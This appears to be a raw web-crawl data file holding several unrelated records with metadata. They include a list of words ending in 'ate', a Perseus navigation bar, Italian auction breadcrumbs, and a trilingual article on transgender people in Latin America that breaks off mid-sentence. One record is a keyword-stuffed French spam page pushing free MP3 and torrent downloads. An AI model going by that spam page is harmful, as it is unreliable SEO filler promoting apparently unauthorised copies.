Procrastinate Procreate Procuratorate Professorate Professoriate Profligate Progenerate Prognosticate Progoneate Prolate Proliferate Prolificate Prolongate Promulgate Promuscidate Pronate Propagate Properate Propiolate Propionate Propionylate Propitiate Proportionate Propriate Propylate Prorate Prorectorate Prorogate Prosobranchiate Prosogyrate Prostate Prostemmate Prostomiate Prostrate Protectorate Protobranchiate Protochordate Protociliate Protodonate Protonate Protracheate Protremate Protuberate Protungulate Provincialate Provinciate Proximate Pruinate Pseudobranchiate Pseudocoelomate Pseudolamellibranchiate Pseudoperculate Pseudoseptate Psilate Ptenoglossate Pterergate Pterygobranchiate Pterygoquadrate Publicate Pullicate Pullulate Pulmobranchiate Pulmonate Pulsate Pulvinate Punctate Puncticulate Punctuate Punctulate Pupate Pupilate Pupillate\nPustulate Pyroborate Pyrogallate Pyrolysate Pyrolyzate Pyrophosphate Pyrosulfate Pyruvate Pyxidate\nWords Starting With 'Q' and Ending in 'ATE'\nQuadrate Quadrumvirate Quadruplicate Quantitate Quaternate Quinate Quindecemvirate Quinquefoliolate Quinquevirate Quintuplicate Quorate\nWords Starting With 'R' and Ending in 'ATE'\nRabbinate Racemate Rachiglossate Radiate Radicate Radioactivate Radulate Raffinate Ramate Ramsgate Rate Ratiocinate Rattlepate Reaccelerate Reacclimate Reaccommodate Reactivate Reactuate Reaggregate Reallocate Reanimate Reappropriate Rearticulate Reauthenticate Rebate Recalcitrate Recalculate Recalibrate Recapitulate Recidivate Reciprocate Recirculate Reclinate Recogitate Recommunicate Recomplicate Reconcentrate Reconciliate Reconfiscate Reconsecrate Reconsolidate Recontaminate Recontemplate Recreate Recriminate Rectorate Recultivate Recuperate Recurvate Redate Redecorate Redecussate Rededicate Redesignate Redintegrate Redomesticate Reduplicate Reeducate Reescalate Reestimate Reevaluate Reflate Refocillate Reformate Reformulate Refractionate Refrigerate Regelate Regenerate Regerminate Registrate Regrate Regulate Regurgitate Rehabilitate Rehydrate Reincarnate Reincorporate Reinflate Reinitiate Reinnervate\nReinoculate Reinstate Reintegrate Reinvestigate Reinvigorate Reiterate Rejuvenate Relate Relaxate Relegate Relevate Religate Relocate Relubricate Reluctate Remancipate Remediate Rememorate Remigrate Remonstrate Remotivate Remunerate Renegate Renegotiate Renominate Renovate Reoperate Reorchestrate Reorientate Reoxygenate Repatriate Replate Replegiate Replicate Repopulate Repristinate Reprobate Repudiate Repullulate Repunctuate Reradiate Reregulate Resegregate Reseminate Reserate Resiliate Resinate Reslate Resonate Restate Restimulate Resupinate Resuscitate Retaliate Retardate Reticulate Retinaculate Retranslate Retroserrate Retroserrulate Revaccinate Revalidate Revaluate Revegetate Reverberate Reverbrate Revigorate Revindicate Rhetoricate Rhipidate Rhipidoglossate Rhodanate Ribonucleate Ricinoleate Rimate Roate Roborate Roommate Roseate Rosinate Rostellate Rostrate Rostrocarinate Rosulate Rotate Rotundate Rubricate Ruderate Rugate Ruinate Ruminate Runagate Runcinate Rusticate Rutilate\nWords Starting With 'S' and Ending in 'ATE'\nSaccate Sacculate Sacrate Sagaciate Saginate Sagittate\nSalicylate Salivate Saltate Sanitate Sate Satiate Saturate Savate Scammoniate Scapulate Scelerate Scholasticate Schoolmate Scintillate Scobinate Scopate Scopulate Scrobiculate Scutate Scutellate Scutibranchiate Scutulate Scyphate Seatmate Sebacate Sedate Sedimentate Segmentate Segregate Selenate Seleniate Selenocyanate Sellate Semicastrate Semihydrate Semilate Semiliterate Semipalmate Semiprivate Semiprostrate Senate Sensate Separate Septate Septemvirate Septennate Septulate Septuplicate Sequestrate Seriate Serrate Serrulate Sesquicarbonate Sesquiquadrate Sesquisilicate Sexostiate Sextuplicate Sheepgate Shipmate Shogunate Sibilate Sibmate Siderate Siffilate Sigillate Sigmate Signate Significate Silicate Silicoaluminate Silicoflagellate Silicotitanate Silicotungstate Simulate Sinapate Sinuate Siphonate Siphonobranchiate Siphunculate Situate Skate Skidegate Slate Sociate Soleplate Solidungulate Solmizate Solvate Somegate Somnambulate Sonicate Sophisticate Sorbate Sororate Sorosilicate Southgate Soyate Sparmate Spartiate Spate Spathulate\nSpatiate Spatulate Speciate Specificate Spectate Speculate Sperate Spherulate Sphincterate Sphinctrate Spicate Spiculate Spifflicate Spiflicate Spinate Spinulate Spirulate Spoliate Sporulate Squamate Squamellate Squamipennate Squamulate Stabilitate Stablemate Stadtholderate Stagnate Stalemate Staminate Stannate State Stearate Stellate Stellionate Stenoglossate Stereobate Stimulate Stipellate Stipitate Stipulate Stolonate Stomate Strangulate Straticulate Striate Stridulate Strigate Strigilate Striolate Strophiolate Stuprate Stylate Stylobate Styphnate Styrenate Subacetate Subalate Suballocate Subalternate Subarcuate Subcampanulate Subcarinate Subcaudate Subchelate Subclavate Subcollegiate Subcordate Subdeaconate Subdelegate Subdentate Subdiaconate Suberate Subfalcate Subfornicate Subinfeudate Subirrigate Subjugate Sublaciniate Sublanceolate Sublate Sublimate Subliterate Sublunate Submarginate Suborbiculate Subordinate Subovate Subpectinate Subplate Subprimate Subquadrate Subrogate Subseptate Subserviate Subsilicate Substantiate Substantivate Substate Substrate Substriate Subsulfate\nSubtemperate Subtruncate Subulate Subungulate Succinamate Succinate Sufflaminate Sufflate Suffocate Suffumigate Suimate Sulcate Sulfanilate Sulfate Sulfhydrate Sulfinate Sulfochlorinate Sulfocyanate Sulfonate Sulfoxylate Sulfydrate Sulphate Sulphydrate Sultanate Summate Superaccurate Superannuate Superconglomerate Superdelegate Superelevate Superimpregnate Superordinate Superovulate Superphosphate Supersaturate Superstate Superstimulate Supinate Supplicate Suppurate Supraordinate Surbate Suricate Surrogate Suscitate Syllabicate Symbranchiate Synapticulate Syncopate Syncraniate Syndicate\nWords Starting With 'T' and Ending in 'ATE'\nTablemate Tabulate Tachyglossate Taeniate Taenioglossate Tailgate Tallate Talpatate Talpetate Tannate Tantalate Tartrate Tate Teammate Tectibranchiate Tectosilicate Teleostomate Tellurate Telotremate Temperate Template Tentaculate Tentmate Tepetate Terebinthinate Terephthalate Tergiversate Terminate Ternate Terneplate Tessellate Tesserate Testate Testiculate Testudinate Tetrabranchiate Tetrafossate Tetrahydridoborate Tetrahydroborate Tetrametaphosphate Tetraradiate Tetrarchate Tetrasilicate Tetrasporangiate Tetrathionate Tetroxalate Thecate Theologate Thermate Thermoregulate\nThioantimonate Thioantimoniate Thioarsenate Thiocarbonate Thiocyanate Thionate Thiosulfate Tholobate Thoriate Tigellate Tinplate Titanate Titanosilicate Titillate Titivate Titrate Tittivate Titubate Toeplate Togate Tolerate Tollgate Toluate Tomtate Toolplate Torquate Totipalmate Towngate Toxoglossate Trabeate Trabeculate Tracheate Trachelate Tractate Traditionate Transelementate Transilluminate Translate Transliterate Translocate Transmigrate Transubstantiate Transudate Transvaluate Tremulate Trepidate Triacetate Trialate Triangulate Triannulate Triarticulate Tribulate Tribunate Tricarinate Tricarpellate Trichobranchiate Triclinate Tricorporate Tricostate Tricuspidate Tridentate Tridigitate Triflagellate Trifoliate Trifoliolate Trifurcate Trijugate Trilabiate Trilineate Trilobate Triloculate Trimetaphosphate Trinate Triphosphate Tripinnate Triplicate Tripolyphosphate Triquinate Triradiate Triseptate Trisilicate Tristate Tristearate Triternate Trithiocarbonate Trithionate Triturate Triumvirate Truncate Trypiate Tubate Tuberculate Tubulate Tubulibranchiate Tubulidentate Tumultuate Tungstate Tungstophosphate Tungstosilicate Tunicate Turbinate\nTurngate Turnplate Turriculate Tylotate Tylotoxeate\nWords Starting With 'U' and Ending in 'ATE'\nUlcerate Ultimate Ultrafiltrate Ululate Umbellate Umbellulate Umbilicate Umbonate Umbonulate Unaffectionate Unarticulate Uncinate Uncompassionate Uncrate Uncreate Undegenerate Undeliberate Underestimate Undergraduate Underrate Understate Undeterminate Undomesticate Undulate Unelaborate Unevaporate Unfortunate Unguiculate Unguiferate Ungulate Uniate Unifoliate Unifoliolate Unijugate Unincorporate Uninitiate Unintimate Uninucleate Uniovulate Uniradiate Uniseriate Univariate Unliterate Unobstinate Unoriginate Unperforate Unproportionate Unregenerate Unsatiate Unsaturate Unseptate Unslate Unsophisticate Unstate Unsubstantiate Update Uprate Upstate Uranate Urate Urceolate Urinate Urochordate Urticate\nWords Starting With 'V' and Ending in 'ATE'\nVacate Vaccinate Vacillate Vacuate Vacuolate Vaginate Vaginulate Valerate Validate Vallate Valleculate Valuate Valvate Valvulate Vamplate Vanadate Variate Varicellate Variegate Vaticinate Vegetate Velate Vellicate Venerate Ventilate Veratrate Verberate Verbigerate Vermiculate Verminate Verriculate Vertebrate\nVerticillastrate Verticillate Vertiginate Vesicate Vesiculate Vestibulate Vexillate Vibrate Vicarate Vicariate Victoriate Vindicate Vinylate Violate Virgate Virgulate Viscerate Vitiate Vittate Vituperate Vivificate Vizierate Vociferate Volitate Voluptuate Volvate Vulcanisate Vulcanizate Vulgate Vulvate\nWords Starting With 'W' and Ending in 'ATE'\nWatchmate Wate Watergate Waygate Wingate Wolframate Workmate\nWords Starting With 'X' and Ending in 'ATE'\nWords Starting With 'Y' and Ending in 'ATE'\nWords Starting With 'Z' and Ending in 'ATE'\nZacate Zincate Zirconate Zonate Zonociliate Zooflagellate","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/treecoded.com\/list-of-words-ending-ate\/","date":"2023-06-08T14:48:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224655027.51\/warc\/CC-MAIN-20230608135911-20230608165911-00261.warc.gz","language":"ina","language_score":0.4988804162,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.49888041615486145, \"eng_Latn_score\": 0.10005076974630356, \"ita_Latn_score\": 0.052827876061201096, \"mlt_Latn_score\": 0.04276531562209129, \"nap_Latn_score\": 0.03389221802353859, \"sid_Latn_score\": 0.027059996500611305, \"bew_Latn_score\": 0.021946275606751442, \"cos_Latn_score\": 0.014348551630973816, \"mak_Latn_score\": 0.013404883444309235, \"fin_Latn_score\": 0.0125496294349432, \"lat_Latn_score\": 0.01236838661134243, \"lvs_Latn_score\": 0.011590835638344288, \"ron_Latn_score\": 0.011207599192857742}","num_words":9246,"character_repetition_ratio":0.044,"word_repetition_ratio":0.001,"special_characters_ratio":0.099,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":0.578,"perplexity_score":26738.8,"cluster_detection":-1} +{"text":"Alkpote – Interlude Maths\nAlkpote Interlude Maths,Alkpote Interlude Maths Mp3 et Telecharger Alkpote Interlude Maths Music Album 2018 music mp3 de album Alkpote Interlude Maths Et Vous Recherche Les Derniers album Alkpote Interlude Maths Music Mp3 2018 et télécharger Alkpote Interlude Maths Gratuit Et Voir Des Photos 2018 Alkpote Interlude Maths Video Sur Le Site Ecrire Des Biographie de Alkpote Interlude Maths download music Alkpote Interlude Maths GRATUITEMENT Et Voir Aussi Le Track List Alkpote Interlude Maths Et autre Chanson Ou Song Pour Listen to Alkpote Interlude Maths,Telecharger Alkpote Interlude Maths download Alkpote Interlude Maths mp3 ecouter Alkpote Interlude Maths Music Alkpote Interlude Maths Album mp3 2018 Alkpote Interlude Maths album Alkpote Interlude Maths torrent 320 Kbps 2018 Rap Alkpote Interlude Maths Album Alkpote Interlude Maths mp3 Photo de Alkpote Interlude Maths Ecouté Alkpote Interlude Maths mp3 torrente mp3 Alkpote Interlude Maths La dernier Alkpote Interlude Maths mp3 Alkpote Interlude Maths mp3 Du Rap francais 218Music.com.\nNOTHING FOUND!","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ww2.33rapmp3.cc\/alkpote-interlude-maths\/","date":"2024-02-28T16:49:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474737.17\/warc\/CC-MAIN-20240228143955-20240228173955-00260.warc.gz","language":"ina","language_score":0.3068486452,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.3068486452102661, \"fra_Latn_score\": 0.28458914160728455, \"ile_Latn_score\": 0.17574524879455566, \"bew_Latn_score\": 0.057189736515283585, \"eng_Latn_score\": 0.05646087974309921, \"dag_Latn_score\": 0.020656796172261238, \"deu_Latn_score\": 0.012800212018191814, \"hat_Latn_score\": 0.012722214683890343}","num_words":377,"character_repetition_ratio":0.394,"word_repetition_ratio":0.168,"special_characters_ratio":0.183,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":0.694,"perplexity_score":12306.9,"cluster_detection":-1} +{"text":"Hide browse bar Your current position in the text is marked in blue. Click anywhere in the line to jump to another position:\ntext:\nsection:\nsection 17asection 17bsection 17csection 17dsection 18asection 18bsection 18csection 18dsection 18esection 19asection 19bsection 19csection 19dsection 19esection 20asection 20bsection 20csection 20dsection 20esection 21asection 21bsection 21csection 21dsection 21esection 22asection 22bsection 22csection 22dsection 22esection 23asection 23bsection 23csection 23dsection 23esection 24asection 24bsection 24csection 24dsection 24esection 25asection 25bsection 25csection 25dsection 25esection 26asection 26bsection 26csection 26dsection 26esection 27asection 27bsection 27csection 27dsection 28asection 28bsection 28csection 29asection 29bsection 29csection 29dsection 29esection 30asection 30bsection 30csection 30dsection 31asection 31bsection 31csection 32asection 32bsection 32csection 32dsection 33asection 33bsection 33csection 33dsection 34asection 34bsection 34csection 35asection 35bsection 35csection 36asection 36bsection 36csection 36dsection 36esection 37asection 37bsection 37csection 37dsection 37esection 38asection 38bsection 38csection 38dsection 38esection 39asection 39bsection 39csection 39dsection 39esection 40asection 40bsection 40csection 40dsection 40esection 41asection 41bsection 41csection 41dsection 41esection 42asection 42bsection 42csection 42dsection 42esection 43asection 43bsection 43csection 43dsection 43esection 44asection 44bsection 44csection 44dsection 44esection 45asection 45bsection 45csection 45dsection 45esection 46asection 46bsection 46csection 46dsection 46esection 47asection 47bsection 47csection 47dsection 47esection 48asection 48bsection 48csection 48dsection 48esection 49asection 49bsection 49csection 49dsection 49esection 50asection 50bsection 50csection 50dsection 50esection 51asection 51bsection 51csection 51dsection 51esection 52asection 52bsection 52csection 52dsection 52esection 53asection 53bsection 53csection 53dsection 53esection 54asection 54bsection 54csection 54dsection 54esection 55asection 55bsection 55csection 55dsection 55esection 56asection 56bsection 56csection 56dsection 56esection 57asection 57bsection 57csection 57dsection 57esection 58asection 58bsection 58csection 58dsection 58esection 59asection 59bsection 59csection 59dsection 59esection 60asection 60bsection 60csection 60dsection 60esection 61asection 61bsection 61csection 61dsection 61esection 62asection 62bsection 62csection 62dsection 63asection 63bsection 63csection 63dsection 63esection 64asection 64bsection 64csection 64dsection 64esection 65asection 65bsection 65csection 65dsection 65esection 66asection 66bsection 66csection 66dsection 66esection 67asection 67bsection 67csection 67dsection 67esection 68asection 68bsection 68csection 68dsection 68esection 69asection 69bsection 69csection 69dsection 69esection 70asection 70bsection 70csection 70dsection 70esection 71asection 71bsection 71csection 71dsection 71esection 72asection 72bsection 72csection 72dsection 72esection 73asection 73bsection 73csection 73dsection 73esection 74asection 74bsection 74csection 74dsection 74esection 75asection 75bsection 75csection 75dsection 75esection 76asection 76bsection 76csection 76dsection 76esection 77asection 77bsection 77csection 77dsection 77esection 78asection 78bsection 78csection 78dsection 78esection 79asection 79bsection 79csection 79dsection 79esection 80asection 80bsection 80csection 80dsection 80esection 81asection 81bsection 81csection 81dsection 81esection 82asection 82bsection 82csection 82dsection 82esection 83asection 83bsection 83csection 83dsection 83esection 84asection 84bsection 84csection 84dsection 84esection 85asection 85bsection 85csection 85dsection 85esection 86asection 86bsection 86csection 86dsection 86esection 87asection 87bsection 87csection 87dsection 87esection 88asection 88bsection 88csection 88dsection 88esection 89asection 89bsection 89csection 89dsection 89esection 90asection 90bsection 90csection 90dsection 90esection 91asection 91bsection 91csection 91dsection 91esection 92asection 92bsection 92c","id":"","dump":"CC-MAIN-2014-49","url":"http:\/\/www.perseus.tufts.edu\/hopper\/text?doc=urn:cts:greekLit:tlg0059.tlg031.perseus-eng1:92a","date":"2014-11-28T19:30:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-49\/segments\/1416931010792.55\/warc\/CC-MAIN-20141125155650-00199-ip-10-235-23-156.ec2.internal.warc.gz","language":"ina","language_score":0.4043309689,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4043309688568115, \"lvs_Latn_score\": 0.15586122870445251, \"mal_Mlym_score\": 0.10666526108980179, \"fin_Latn_score\": 0.04384038224816322, \"lit_Latn_score\": 0.033395759761333466, \"hne_Deva_score\": 0.023363003507256508, \"und_Mlym_score\": 0.021942807361483574, \"enm_Latn_score\": 0.01626906730234623, \"slv_Latn_score\": 0.015208842232823372, \"mlt_Latn_score\": 0.011651141569018364}","num_words":1129,"character_repetition_ratio":0.123,"word_repetition_ratio":0.967,"special_characters_ratio":0.271,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":0.405,"perplexity_score":9192.1,"cluster_detection":-1} +{"text":"Pleque Pleque Derechos Madres Comunitarias\nPleque Pleque Si Si La Paz\nPleque Pleque Nicky Jam regalo de cumpleaños\nPleque Pleque Crisis Electricaribe\nPleque Pleque Blindado\nPleque Pleque de la comunidad del anillo\nPleque Pleque de los millones del Procurador\nPleque Pleque de desacuerdos\nPleque Pleque de lanzamientos\nPleque Pleque de elección de Procurador\nPleque Pleque de relaciones vallenatas\nPleque Pleque de las agresiones","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/olimpicastereo.com.co\/el-pleque-pleque-de-frank-solano\/","date":"2017-01-17T02:41:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560279410.32\/warc\/CC-MAIN-20170116095119-00105-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.3830607533,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3830607533454895, \"spa_Latn_score\": 0.3360479474067688, \"ile_Latn_score\": 0.19143593311309814, \"nhg_Latn_score\": 0.016633249819278717, \"cbk_Latn_score\": 0.01200255099684}","num_words":133,"character_repetition_ratio":0.274,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":0.3,"perplexity_score":8072.8,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine agricole » Aste per le vendite macchine agricole STARAste per le vendite CASE IHAste per le vendite CLAASAste per le vendite FENDTAste per le vendite FLIEGLAste per le vendite FORDAste per le vendite JOHN DEEREAste per le vendite KUBOTAAste per le vendite KVERNELANDAste per le vendite MASSEY FERGUSONAste per le vendite NEW HOLLAND","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/autoline-eu.it\/auction\/macchine-agricole-STAR--c12tm2766.html","date":"2017-01-18T00:14:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280128.70\/warc\/CC-MAIN-20170116095120-00266-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.6557763815,"language_script":"Latn","minhash_cluster_size":79,"top_langs":"{\"ina_Latn_score\": 0.6557763814926147, \"frp_Latn_score\": 0.1342468559741974, \"lmo_Latn_score\": 0.05581901967525482, \"nap_Latn_score\": 0.049552321434020996, \"bew_Latn_score\": 0.0494658462703228, \"ita_Latn_score\": 0.03591013327240944}","num_words":112,"character_repetition_ratio":0.398,"word_repetition_ratio":0.039,"special_characters_ratio":0.171,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":3112.9,"cluster_detection":-1} +{"text":"(Languages of this post: Interlingua, Spanish, English)\n\"Le personas con identitates sexual alternative sape que illes es differente al etate de tres o quatro annos. Illo es plus un intuition, un manco de commoditate con lo que occure circum illes. Illo es alique que es clar in le capite de un persona, ma que es terrificante e confuse simultaneemente.\"\nIstes es le parolas de Tamara Adrián, copresidente pro le America latin del Association International de Gays e Lesbianas, in su effortios pro essayar de explicar le sentimentos e le pressiones psychologic del gays, lesbianas, e transsexuales in lor lucta pro forgiar un maniera de viver comodemente in un societate de heterosexuales qui multe vices es hostile al diversitate human.\nLe transsexuales ha problemas special. Pro le majoritate de illes, le adolescentia es le periodo clave in le construction de lor identitate psychologic, quando illes non pote evitar le realisation que le sexo biologic con le qual illes nasceva non reflecte le realitate de lor sentimentos.\nMultes ex illes identifica le problema multo antea, al etate precoce de tres annos. \"Quando tu es un infante, tu te comporta como tu sentimentos. Ma in le adolescentia quando tu comencia a maturar e relationar te con un quantitate plus grande de personas de tu etate e a rejectar le cambios que se produce in tu corpore, comencia un certe conflicto characterisate per le frustration, le tristessa, e un altere serie de problemas\", dicevaCristina Gimeno, secretario del organisation Transexualia in Espania.\nTransexualia, explica Gimeno, es un organisation de defensa del minoritates con tres identitates de genero differente.\nLe prime de iste gruppos es le transvestites, qui solmente necessita transvestir se e utilisar le vestimentos e le cosmeticos e le accessorios del altere sexo ma qui non vole submitter se a un processo chirurgic de reassignation de sexo. A vices illes se submitte a therapias hormonal. Isto pote esser un phase initial de ulle del altere duo conditiones.\nUn gruppo intermedie es le transgeneros, qui se trova satisfacite con lor genitales ma qui se comporta de un forma assignate socialmente al sexo contrari. In le majoritate del casos illes ha besonio de therapias hormonal o de cirurgia esthetic.\nLe transsexuales es personas qui non se senti commode de ulle maniera con lor sexo biologic. Illes cerca normalmente un intervention chirurgic de reassignation de genero.\nMulte transsexuales suffre de rejection social extreme. Multe vices illes non termina le schola secundari proque lor corpores es effeminate. Sovente illes insiste fortemente in lor identitate sexual. Generalmente le scholas non les accipe proque lor professores insiste que lor comportamento social essera le cuasa de excitation sexual excessive inter altere studentes e seminara le chaos social e problemas de disciplina in le schola.\nSovente tal justificationes non es plus que le reflexion del prejudicio homophobic per personas qui non ha absolutemente ulle tolerantia pro le diversitate human. Le rejection del transsexuales per lor companiones e professores in le schola normalmente les condemna a travalios menial, o mesmo a un vita de marginalisation complete, que include le prostitution e le vita in le stratas.\nUn del consequentias immediate de iste situation deplorabile es le carentia de structuras de appoio social e le abandonamento total, proque iste juvenes non ha locos a ubi vader ubi illes pote reciper appoio psychologic. Lor patres les rejecta, le scholas les rejecta, e illes confronta un vita in le stratas ubi le superviventia depende del sexo commercial. Illes forma un population con nivellos de instruction basse proque le cultura in le qual illes nasceva completemente les priva de opportunitates de travalio decente e le benesser psychologic.\nIl es anque in le adolescentia quando illes comencia a automedicar se. Un altissime percentage del population transsexual, quasi su totalitate, se autoinjecta con hormonas, siliconas, o altere implantes sin ulle tipo de supervision medic.\n\"Tal personas in le momento de transition que se initia in le adolescentia es extrememente vulnerabile proque illes anque es detegibile e multo visibile\", dice Tamara Adrián, copresidente pro le America latin del International Gay Law Association.\nLe consequentias de iste processo de reconstruction corporal in terminos de sanitate es tan alte que multe transsexuales mori a un etate assatis juvene.\nBen que on ha facite progresso in areas como le matrimonio gay in paises como Argentina, Uruguay, o Mexico, e, in le altere latere del Atlantico, in Portugal e Espania, le necessitates social de iste altere minoritates sexual e cultural ha essite quasi completemente oblidate.\nNonobstante, il ha habite alicun progresso. In alicun paises, como Uruguay, le gente pote viver secundo su identitate de genero preferite e pote cambiar iste identitate legalmente in lor documentos national de identification. Ma in le Argentina le cosas es differente. In despecto de que le argentinos ha legalisate le matrimonio inter homosexuales, solmente transsexuales que se submitte al chirurgia pote cambiar lor identitate sexual legal. E in le majoritate del paises del America latin, le personas cuje identitate sexual actual es differente del identitate registrate in lor certificatos de nascimento continua a esser victimas de omne tipo de ridiculo e rejection social.\n—\nCuando la identidad sexual no se corresponde con los genitales de una persona …\n\"Las personas con identidades sexuales alternativas saben que son diferentes a la edad de tres o cuatro. Es más una intuición, de falta de comodidad con lo que ocurre a su alrededor. Es algo que está claro en la cabeza de una persona, pero que es a la vez aterrador y confuso.\"\nÉstas son las palabras de Tamara Adrián, copresidenta para América Latina de la Asociación Internacional de Gays y Lesbianas, en sus esfuerzos para tratar de explicar los sentimientos y las presiones psicológicas de los gays, lesbianas y transexuales en su lucha por forjar una manera de vivir cómodamente en una sociedad de heterosexuales que muchas veces son hostiles a la diversidad humana.\nLos transexuales tienen problemas especiales. Para la mayoría de ellos, la adolescencia es el período clave en la construcción de su identidad psicológica, cuando no pueden dejar de darse cuenta de que el sexo biológico con el que nacieron no refleja la realidad de sus sentimientos.\nMuchos de ellos identifican el problema mucho antes, a la temprana edad de tres años. \"Cuando eres un niño te comportas tal y cómo te sientes. Pero en la adolescencia cuando empiezas a madurar y relacionarte con más personas de tu edad y a rechazar los cambios que se producen en tu cuerpo, comienza un cierto conflicto, caracterizado por la frustración, la tristeza y otra serie de problemas\", dijo Cristina Gimeno, secretaria de la organización Transexualia en España.\nTransexualia, explica Gimeno, es una organización de defensa de las minorías con tres identidades de género diferentes.\nEl primero de estos grupos son los travestis, que sólo necesitan trasvertirse y utilizar las ropas, el maquillaje o la indumentaria del otro sexo pero que no quieren someterse a una operación de reasignación de sexo. A veces se someten a terapias hormonales. Esto puede ser un estadio inicial de cualquiera de las otras dos condiciones.\nUn grupo intermedio son los transgéneros, que se encuentran a gusto con sus genitales pero que se comportan de una forma asignada socialmente al sexo contrario. En la mayoría de los casos requieren terapias hormonales o de cirugía estética.\nLos transexuales son personas que no se sienten cómodos en cualquier forma con su sexo biológico. Ellos buscan normalmente una intervención quirúrgica de reasignación de género.\nMuchos transexuales sufren de rechazo social extremo. Muchas veces no terminan la escuela secundaria porque sus cuerpos son afeminados. A menudo insisten fuertemente en su identidad sexual. Por lo general las escuelas no los aceptan porque sus profesores insisten en que su comportamiento social será la causa de excitación sexual excesiva entre otros estudiantes y sembrará el caos social y problemas de disciplina en la escuela.\nA menudo, tales justificaciones no son más que el reflejo de los prejuicios homofóbicos por personas que no tienen absolutamente ninguna tolerancia para la diversidad humana. El rechazo de los transexuales por sus compañeros y maestros en la escuela normalmente los condena a trabajos de muy baja categoría, o incluso a una vida de marginación completa, que incluye la prostitución y la vida en las calles.\nUna de las consecuencias inmediatas de esta situación deplorable es la carencia de estructuras de apoyo social y el abandono total, porque estos jóvenes no tienen a dónde ir para apoyarse psicológicamente. Sus padres y sus escuelas los rechazan y ellos se enfrentan a una vida en las calles donde la supervivencia depende del sexo comercial. Ellos forman una población con niveles educativos bajos porque la cultura en la que nacieron completamente los priva de oportunidades de trabajo decente y el bienestar psicológico.\nEs en la adolescencia también cuando comienzan a automedicarse. Un altísimo porcentaje de la población transexual, casi su totalidad, se autoinyecta hormonas, siliconas u otros implantes sin ningún tipo de supervisión médica.\n\"Tales personas en el momento de transición que se inicia en la adolescencia son extremadamente vulnerables, porque también son detectables y muy visibles\", dice Tamara Adrián, copresidenta para América Latina de la International Lesbian and Gay Law Association.\nLas consecuencias de este proceso de reconstrucción corporal en términos de salud es tan alto que muchos transexuales se mueren a una edad bastante joven.\nAunque se han logrado avances en áreas como el matrimonio gay en países como Argentina, Uruguay o México y, del otro lado del Atlántico, en Portugal y España, las necesidades sociales de estas otras minorías sexuales y culturales han sido casi completamente olvidadas.\nSin embargo, ha habido algunos progresos. En algunos países, como Uruguay, la gente puede vivir de acuerdo a su identidad de género preferido y puede cambiar esta identidad legalmente en sus documentos nacionales de identificación. Pero en la Argentina las cosas son diferentes. A pesar de que los argentinos han legalizado el matrimonio entre homosexuales, sólo transexuales que se someten a la cirugía pueden cambiar su identidad sexual legal. Y en la mayoría de los países de América Latina, las personas cuya identidad sexual actual es diferente de la identidad registrada en sus certificados de nacimiento siguen siendo víctimas de todo tipo de burlas y del rechazo social.\n—\nWhen sexual identity does not correspond with a person's genitals…\n\"People with alternative sexual identities know they are different at the age of three or four. It is more an intuition, a lack of comfort with what is happening around them. It is something that is clear in a person's head but which is both frightening and confusing at the same time.\"\nThese are the words of Tamara Adrian, Co-Chair for Latin America of the International Association of Gays and Lesbians, in her efforts to try to explain the feelings and the psychological pressures of gay, lesbian and transgender people in their struggle to forge a way of living comfortably in a heterosexual society that often is hostile to human diversity.\nTranssexuals have special problems. For most of them, adolescence is the key period in the construction of their psychological identity when they cannot help realizing that the biological sex they were born into does not reflect the reality of their feelings.\nMany of them identify the problem much earlier, at the age of three years. \"When you're a kid you behave exactly the way you feel. But in adolescence, when you start to mature and socialize with other people your age and to reject the changes that occur in your body, a certain conflict begins that is characterized by frustration, sadness and another set of problems,\" said Cristina Gimeno, secretary of the organization Transexualia in Spain.\nTransexualia, explains Gimeno, is an advocacy organization of minorities with three different gender identities.\nThe first of these groups are the transvestites, who only need to cross dress and use the clothes, makeup, and the accessories of the opposite sex but who do not want to submit to a sex reassignment operation. Sometimes they undergo hormone therapy. This may be an early stage of any one of of the other two conditions.\nAn intermediate group is transgendered people who are comfortable with their genitals but who behave in roles that are socially assigned to the opposite sex. In most cases they need hormonal therapy or cosmetic surgery.\nTranssexuals are people who do not feel comfortable in any way with their biological sex. They typically seek gender-reassignment surgery.\nMany transsexuals suffer from extreme social rejection. Often they do not finish secondary school because their bodies are effeminate. They often strongly insist on their sexual identity. Typically their schools will not accept them because their teachers insist that their social behavior will be the cause of excessive sexual excitement among other students and will create social disruption and discipline problems in the school.\nOften such justifications are merely the reflection of homophobic prejudice by people who have absolutely no tolerance for human diversity. The rejection of transsexuals by their peers and teachers at school typically condemns them to extremely menial jobs or even to a life of complete marginalization that includes prostitution and life in the streets.\nOne of the immediate consequences of this deplorable situation is the lack of social support structures and total abandonment because these young people have nowhere to go where they can get psychological support. Their parents and schools reject them, and they are thrown into street life where survival depends on commercial sex. They form a population with low educational levels because the culture into which they were born completely deprives them of decent opportunities for work and psychological well being.\nIt is in adolescence when they begin to self-medicate. A high percentage of the transsexual population–almost all of it–inject themselves with hormones, silicone or other implants without any medical supervision.\n\"Such people at the time of transition that begins 